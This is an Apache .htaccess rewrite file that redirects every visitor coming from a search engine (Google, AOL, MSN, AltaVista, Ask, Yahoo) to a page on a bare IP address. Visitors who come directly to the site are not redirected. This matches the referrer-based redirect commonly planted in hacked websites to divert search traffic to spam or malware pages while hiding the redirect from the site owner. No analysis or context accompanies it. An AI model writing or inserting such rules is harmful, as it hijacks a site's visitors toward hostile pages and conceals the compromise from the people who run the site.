RewriteEngine On
RewriteCond %{HTTP_REFERER} .*oogle.*$ [NC,OR]
RewriteCond %{HTTP_REFERER} .*aol.*$ [NC,OR]
RewriteCond %{HTTP_REFERER} .*msn.*$ [NC,OR]
RewriteCond %{HTTP_REFERER} .*altavista.*$ [NC,OR]
RewriteCond %{HTTP_REFERER} .*ask.*$ [NC,OR]
RewriteCond %{HTTP_REFERER} .*ahoo.*$ [NC]
RewriteRule .* http://87.248.180.89/topic.html?s=s [R,L]